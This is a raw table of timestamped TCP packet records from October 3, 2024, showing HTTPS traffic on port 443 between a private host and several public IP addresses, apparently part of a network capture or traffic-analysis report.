Oct 3, 2024 17:19:57.481911898 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.481946945 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.481950998 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482547045 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482587099 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482589006 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.482601881 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482636929 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.482835054 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482862949 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482873917 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.482877970 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482896090 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482912064 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.482918024 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.482959032 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.483406067 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483443975 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483472109 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.483477116 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483525991 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.483668089 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483695984 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483709097 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.483714104 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483725071 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483752966 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483752012 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.483761072 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.483795881 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.484317064 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484340906 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484360933 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.484365940 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484390974 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.484559059 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484587908 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484601021 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.484607935 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484617949 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484643936 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.484649897 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.484688997 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.485162020 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485208035 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.485265970 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485292912 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485307932 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.485313892 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485354900 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.485518932 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485548973 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485575914 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.485577106 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485584974 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.485615969 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.486115932 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.486162901 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.486187935 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.486229897 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.486373901 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.486404896 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.486413956 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.486419916 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.486444950 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.486778975 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.486816883 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.486824036 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487050056 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487087965 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.487092972 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487190008 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487221003 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487225056 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.487231016 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487255096 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487267971 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.487274885 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487284899 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487312078 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.487318039 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487361908 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.487597942 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.487641096 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.488015890 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488043070 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488059998 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.488065004 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488075972 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488104105 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.488110065 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488148928 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.488311052 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488353968 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488363028 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.488368988 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488413095 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.488956928 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.488992929 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489006042 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489012003 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489031076 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489236116 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489265919 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489269972 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489276886 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489295006 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489311934 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489321947 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489360094 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489662886 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489695072 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489705086 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489711046 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489725113 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489747047 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489756107 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489794970 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489892960 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489928961 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489963055 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.489967108 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.489974022 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490010977 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.490220070 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490243912 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490263939 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.490268946 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490318060 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.490665913 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490693092 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490710974 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.490719080 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490756989 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.490782976 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490823030 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.490825891 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490834951 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.490868092 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.490962982 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491008043 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491008997 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491015911 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491044998 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491055012 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491060972 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491080999 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491099119 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491105080 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491149902 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491411924 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491436005 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491476059 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491485119 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491524935 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491693974 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491738081 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491744041 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491789103 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.491827011 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491944075 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.491964102 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.495141029 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.495290995 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.495321989 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.495426893 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.495481014 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.495558977 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.495574951 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.495588064 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.495629072 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.497730017 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:57.497781038 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:57.497853994 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:57.498205900 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:57.498236895 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:57.513175011 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.513252020 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.515259981 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.518323898 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.518383026 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.518385887 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.518400908 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.518429041 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.524636030 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.524704933 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.524724960 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.524745941 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.524796963 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.524811983 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.532295942 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.532356977 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.532386065 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.536937952 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.536968946 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.536998034 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.537026882 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.537072897 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.543175936 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.543219090 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.543240070 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.543271065 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.543315887 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.549509048 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.549618959 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.549675941 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.549705982 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.555654049 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.555718899 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.555743933 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.561203957 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.561276913 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.561289072 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.561316013 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.561359882 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.566714048 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.566797972 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.566900015 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.566929102 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.572268009 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.572335005 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.572360039 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.572379112 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.572417974 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.572428942 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.581267118 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.581331968 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.581348896 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.581371069 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.581423998 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.599601984 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.599685907 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.599731922 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.599755049 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.601586103 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.601654053 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.601669073 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.601690054 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.601771116 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.603998899 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.604065895 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.604087114 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.604130983 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.606700897 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.606784105 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.606944084 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.606969118 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.612286091 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.612353086 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.612370014 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.612392902 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.612447023 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.617631912 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.617692947 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.617742062 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.617789030 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.623044968 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.623128891 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.623301029 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.623330116 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.627862930 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.627944946 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.627969980 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.627996922 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.628072023 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.633039951 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.633353949 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.633383036 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.633429050 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:57.633481979 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.633503914 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:57.636212111 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:57.636250973 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:57.636327982 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:57.636672020 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:57.636697054 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:57.637037992 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.637064934 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.637238979 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.637507915 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:57.637525082 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:57.679930925 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.680011988 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.680414915 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.680563927 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.680593014 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:57.680598974 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.680640936 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:57.682873011 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:57.682914019 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:57.683121920 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:57.683314085 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:57.683325052 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:57.799827099 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.799875021 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.799969912 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.800206900 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.800216913 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.811865091 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.811887026 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:57.812203884 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.812535048 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:57.812547922 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.126329899 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.126600027 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.126614094 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.126949072 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.127321005 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.127398014 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.127578974 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.127604008 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.247423887 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.247714043 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.247793913 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.248697996 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.248770952 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.249067068 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.249133110 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.249222040 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.249244928 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.260917902 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.261199951 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.261229992 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.262345076 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.262670040 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.262815952 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.262824059 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.262841940 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.262890100 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.292879105 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.293112993 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.293138981 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.293605089 CEST	443	56138	35.186.194.58	192.168.2.17
